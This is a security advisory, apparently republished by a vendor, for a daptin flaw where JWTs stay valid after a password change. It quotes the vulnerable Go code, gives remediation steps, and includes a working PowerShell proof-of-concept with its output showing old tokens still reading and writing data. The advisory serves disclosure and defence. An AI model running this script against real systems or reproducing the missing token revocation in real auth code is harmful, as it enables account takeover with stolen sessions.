GHSA-258C-965C-P3HC

A session invalidation vulnerability exists in daptin's authentication system where JSON Web Tokens (JWTs) remain fully valid after a user changes their password. The JWT validation middleware (CheckJWT) only verifies token signature, expiry, issuer, and signing algorithm, it does not check whether the token was issued before the most recent password change. The password update code path hashes the new password but never calls InvalidateAuthCacheForEmail() and never revokes or blacklists existing tokens. This effectively negating password rotation as an incident response control.

Vulnerable Files

• daptin/server/jwt/jwtmiddleware.go, JWT validation without session versioning
• daptin/server/resource/resource_update.go, password update without session invalidation
• daptin/server/actions/action_generate_jwt_token.go, JWT claims lack password version
• daptin/server/auth/auth.go, InvalidateAuthCacheForEmail exists but not called on update
• daptin/server/resource/columns.go, password change action wiring

Vulnerable Code Snippet

1. JWT validation checks nothing beyond signature/expiry/issuer (jwtmiddleware.go:232-260):

// Now parse the token
parsedToken, err := jwt.Parse(token, m.Options.ValidationKeyGetter)

// Check if there was an error in parsing...
if err != nil {
    m.logf("Error parsing token: %v", err)
    m.Options.ErrorHandler(w, r, err.Error())
    return nil, fmt.Errorf("Error parsing token: %v", err)
}

if parsedToken.Claims.(jwt.MapClaims)["iss"] != m.Options.Issuer {
    return nil, fmt.Errorf("Invalid issuer: %v", parsedToken.Header["iss"])
}

if m.Options.SigningMethod != nil && m.Options.SigningMethod.Alg() != parsedToken.Header["alg"] {
    // ... algorithm check
}

// Check if the parsed token is valid...
if !parsedToken.Valid {
    m.logf("Token is invalid")
    m.Options.ErrorHandler(w, r, "The token isn't valid")
    return nil, errors.New("Token is invalid")
}

No check exists for password version, session version, or token revocation status. A token issued before a password change passes all these checks identically.

2. Password update hashes new password but never invalidates sessions (resource_update.go:282-287):

if col.ColumnType == "password" {
    val, err = BcryptHashString(val.(string))
    if err != nil {
        log.Errorf("Failed to convert string to bcrypt hash, not storing the value: %v", err)
        continue
    }
}

The new bcrypt hash is stored, but no call to auth.InvalidateAuthCacheForEmail() is made, and no token revocation mechanism is triggered.

3. JWT claims lack any password-bound claim (action_generate_jwt_token.go:74-83):

token := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{
    "email": existingUser["email"],
    "sub":   daptinid.InterfaceToDIR(existingUser["reference_id"]).String(),
    "name":  existingUser["name"],
    "nbf":   timeNow.Unix(),
    "exp":   timeNow.Add(time.Duration(d.tokenLifeTime) * time.Hour).Unix(),
    "iss":   d.jwtTokenIssuer,
    "iat":   timeNow.Unix(),
    "jti":   u.String(),
})

Claims include email, sub, name, nbf, exp, iss, iat, jti, but no pwd_version or equivalent claim that could be compared against a server-side value during validation.

4. InvalidateAuthCacheForEmail exists but is NOT called on password update (auth.go:520-530):

func InvalidateAuthCacheForEmail(email string) {
    if olricCache == nil {
        return
    }
    _, err := olricCache.Delete(context.Background(), email)
    if err != nil {
        log.Warnf("failed to invalidate auth cache for %s: %v", email, err)
    }
}

This function is called in resource_create.go:470, resource_delete.go:73, and dbmethods.go:1194, but never in resource_update.go, which is the code path for password changes.

PoC (Proof of Concept)

Manual Exploitation Steps

1. Create a user account on the daptin instance
2. Sign in and capture the JWT (this becomes the "stolen" token)
3. Change the user's password via PATCH /api/user_account/{id}
4. Reuse the original JWT, it still returns HTTP 200 with full data access
5. Confirm the old password no longer works for new login (password did change)
6. Confirm the old token still allows write operations (full CRUD retained)

Result: HTTP 200, write operations also succeed with the old token.

Automation PoC

# VULN-04: No Session Invalidation After Password Change
# CWE-613 | daptin v0.9.82
# Proves: old JWT stays valid after password change

$BASE = "http://127.0.0.1:6336"
Write-Host "`n===== VULN-04: Session Invalidation Test =====`n" -ForegroundColor Cyan

# Step 0: Clean restart
Write-Host "[0] Restarting container..." -ForegroundColor Yellow
docker compose -f "c:\Users\Vashu\Desktop\Projects\ZeroDay\cve_hunt\daptin\docker-compose.yml" restart daptin
Start-Sleep 8

# Step 1: Create victim user
Write-Host "[1] Creating victim user..." -ForegroundColor Yellow
$s = @{attributes=@{email='[email protected]';password='OrigPass123!';passwordConfirm='OrigPass123!';name='victim04'}} | ConvertTo-Json
try { Invoke-RestMethod -Uri "$BASE/action/user_account/signup" -Method Post -ContentType 'application/json' -Body $s | Out-Null } catch {}

# Step 2: Sign in, capture OLD token (simulates stolen token)
Write-Host "[2] Signing in for OLD token..." -ForegroundColor Yellow
$si = @{attributes=@{email='[email protected]';password='OrigPass123!'}} | ConvertTo-Json
$r = Invoke-RestMethod -Uri "$BASE/action/user_account/signin" -Method Post -ContentType 'application/json' -Body $si
$OLD = ($r | Where-Object {$_.ResponseType -eq 'client.store.set'}).Attributes.value
Write-Host "  OLD token captured (len=$($OLD.Length))" -ForegroundColor Green

# Step 3: Get victim ID
$ua = Invoke-RestMethod -Uri "$BASE/api/user_account" -Headers @{Authorization="Bearer $OLD"}
$ID = ($ua.data | Where-Object {$_.attributes.email -eq '[email protected]'} | Select-Object -First 1).id
Write-Host "[3] Victim ID: $ID" -ForegroundColor Green

# Step 4: VICTIM CHANGES PASSWORD
Write-Host "[4] *** VICTIM CHANGES PASSWORD ***" -ForegroundColor Red
$p = @{data=@{type='user_account';id=$ID;attributes=@{password='NewPass456!'}}} | ConvertTo-Json -Depth 8
Invoke-RestMethod -Uri "$BASE/api/user_account/$ID" -Method Patch -Headers @{Authorization="Bearer $OLD"} -ContentType 'application/vnd.api+json' -Body $p | Out-Null
Write-Host "  Password changed." -ForegroundColor Green

# Step 5: OLD token still works?
Write-Host "[5] Testing OLD token after password change..." -ForegroundColor Red
try {
  $t = Invoke-RestMethod -Uri "$BASE/api/user_account" -Headers @{Authorization="Bearer $OLD"}
  Write-Host "  RESULT: OLD token STILL VALID (HTTP 200, $($t.data.Count) records)" -ForegroundColor Red
  Write-Host "  *** VULN CONFIRMED: Session NOT invalidated after password change ***" -ForegroundColor Red
} catch {
  Write-Host "  RESULT: OLD token REJECTED" -ForegroundColor Green
}

# Step 6: Write test with OLD token
Write-Host "[6] Write test with OLD token..." -ForegroundColor Yellow
try {
  $wp = @{data=@{type='user_account';id=$ID;attributes=@{name='hacked_by_old_token'}}} | ConvertTo-Json -Depth 8
  Invoke-RestMethod -Uri "$BASE/api/user_account/$ID" -Method Patch -Headers @{Authorization="Bearer $OLD"} -ContentType 'application/vnd.api+json' -Body $wp | Out-Null
  Write-Host "  WRITE SUCCEEDED with old token!" -ForegroundColor Red
} catch {
  Write-Host "  Write rejected" -ForegroundColor Green
}

# Step 7: New password works for login?
Write-Host "[7] New password login..." -ForegroundColor Yellow
$si2 = @{attributes=@{email='[email protected]';password='NewPass456!'}} | ConvertTo-Json
$r2 = Invoke-RestMethod -Uri "$BASE/action/user_account/signin" -Method Post -ContentType 'application/json' -Body $si2
$NEW = ($r2 | Where-Object {$_.ResponseType -eq 'client.store.set'}).Attributes.value
Write-Host "  New password login: SUCCESS" -ForegroundColor Green

# Step 8: Old password rejected for login?
Write-Host "[8] Old password login attempt..." -ForegroundColor Yellow
$si3 = @{attributes=@{email='[email protected]';password='OrigPass123!'}} | ConvertTo-Json
try {
  Invoke-RestMethod -Uri "$BASE/action/user_account/signin" -Method Post -ContentType 'application/json' -Body $si3 | Out-Null
  Write-Host "  Old password STILL WORKS (unexpected!)" -ForegroundColor Red
} catch {
  Write-Host "  Old password REJECTED (password change confirmed)" -ForegroundColor Green
}

# Step 9: Multi-token test
Write-Host "[9] Multi-token persistence test..." -ForegroundColor Yellow
$toks = @()
for ($i=0; $i -lt 3; $i++) {
  $rl = Invoke-RestMethod -Uri "$BASE/action/user_account/signin" -Method Post -ContentType 'application/json' -Body $si2
  $toks += ($rl | Where-Object {$_.ResponseType -eq 'client.store.set'}).Attributes.value
}
$p2 = @{data=@{type='user_account';id=$ID;attributes=@{password='ThirdPass789!'}}} | ConvertTo-Json -Depth 8
Invoke-RestMethod -Uri "$BASE/api/user_account/$ID" -Method Patch -Headers @{Authorization="Bearer $($toks[0])"} -ContentType 'application/vnd.api+json' -Body $p2 | Out-Null
Write-Host "  Password changed again. Testing all 3 pre-change tokens:"
for ($i=0; $i -lt $toks.Count; $i++) {
  try {
    Invoke-RestMethod -Uri "$BASE/api/user_account" -Headers @{Authorization="Bearer $($toks[$i])"} | Out-Null
    Write-Host "  Token $($i+1): STILL VALID" -ForegroundColor Red
  } catch {
    Write-Host "  Token $($i+1): REJECTED" -ForegroundColor Green
  }
}

# Step 10: JWT decode
Write-Host "`n[10] JWT Claims Analysis:" -ForegroundColor Yellow
if ($OLD) {
  $parts = $OLD.Split('.')
  $pl = $parts[1]
  $pad = 4 - ($pl.Length % 4)
  if ($pad -ne 4) { $pl += "=" * $pad }
  $pl = $pl.Replace("-","+").Replace("_","/")
  $bytes = [Convert]::FromBase64String($pl)
  $json = [Text.Encoding]::UTF8.GetString($bytes)
  Write-Host "  Payload: $json" -ForegroundColor Cyan
}
Write-Host "  Missing: pwd_version / session_version claim" -ForegroundColor Red
Write-Host "  Missing: token revocation on password change" -ForegroundColor Red

Write-Host "`n===== TEST COMPLETE =====" -ForegroundColor Cyan

Verified test output:

[5] Testing OLD token after password change...
  RESULT: OLD token STILL VALID (HTTP 200, 3 records)
  *** VULN CONFIRMED: Session NOT invalidated after password change ***

[6] Write test with OLD token...
  WRITE SUCCEEDED with old token!

[7] New password login...
  New password login: SUCCESS

[8] Old password login attempt...
  Old password REJECTED (password change confirmed)

[9] Multi-token persistence test...
  Password changed again. Testing all 3 pre-change tokens:
  Token 1: STILL VALID
  Token 2: STILL VALID
  Token 3: STILL VALID

[10] JWT Claims Analysis:
  Payload: {"email":"[email protected]","exp":1776591689,"iat":1776332489,
    "iss":"daptin-2eda69","jti":"d8e5e969-3ff4-41e9-a6c0-a63b3cf1534d",
    "name":"victim04","nbf":1776332489,"sub":"1a857f2e-42d2-4314-afe9-d782e1b84dbb"}
  Missing: pwd_version / session_version claim
  Missing: token revocation on password change

GHSA-258C-965C-P3HC has a CVSS score of 6.5 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.11.8); upgrading removes the vulnerable code path.

Kodem intelligence

1. Add a password_version column to the user_account table (integer, incremented on each password change)
2. Include pwd_version in JWT claims at token generation time (action_generate_jwt_token.go:74)
3. Check pwd_version during validation in CheckJWT() (jwtmiddleware.go:232-260), compare the claim value against the current database value; reject if mismatched
4. Call InvalidateAuthCacheForEmail() in resource_update.go when a password column is updated, to force the auth cache to re-fetch user state

1. What is GHSA-258C-965C-P3HC? GHSA-258C-965C-P3HC is a medium-severity security vulnerability in github.com/daptin/daptin (go), affecting versions < 0.11.8. It is fixed in 0.11.8.
2. How severe is GHSA-258C-965C-P3HC? GHSA-258C-965C-P3HC has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/daptin/daptin are affected by GHSA-258C-965C-P3HC? github.com/daptin/daptin (go) versions < 0.11.8 is affected.
4. Is there a fix for GHSA-258C-965C-P3HC? Yes. GHSA-258C-965C-P3HC is fixed in 0.11.8. Upgrade to this version or later.
5. Is GHSA-258C-965C-P3HC exploitable, and should I be worried? Whether GHSA-258C-965C-P3HC is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-258C-965C-P3HC is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix GHSA-258C-965C-P3HC? Upgrade github.com/daptin/daptin to 0.11.8 or later.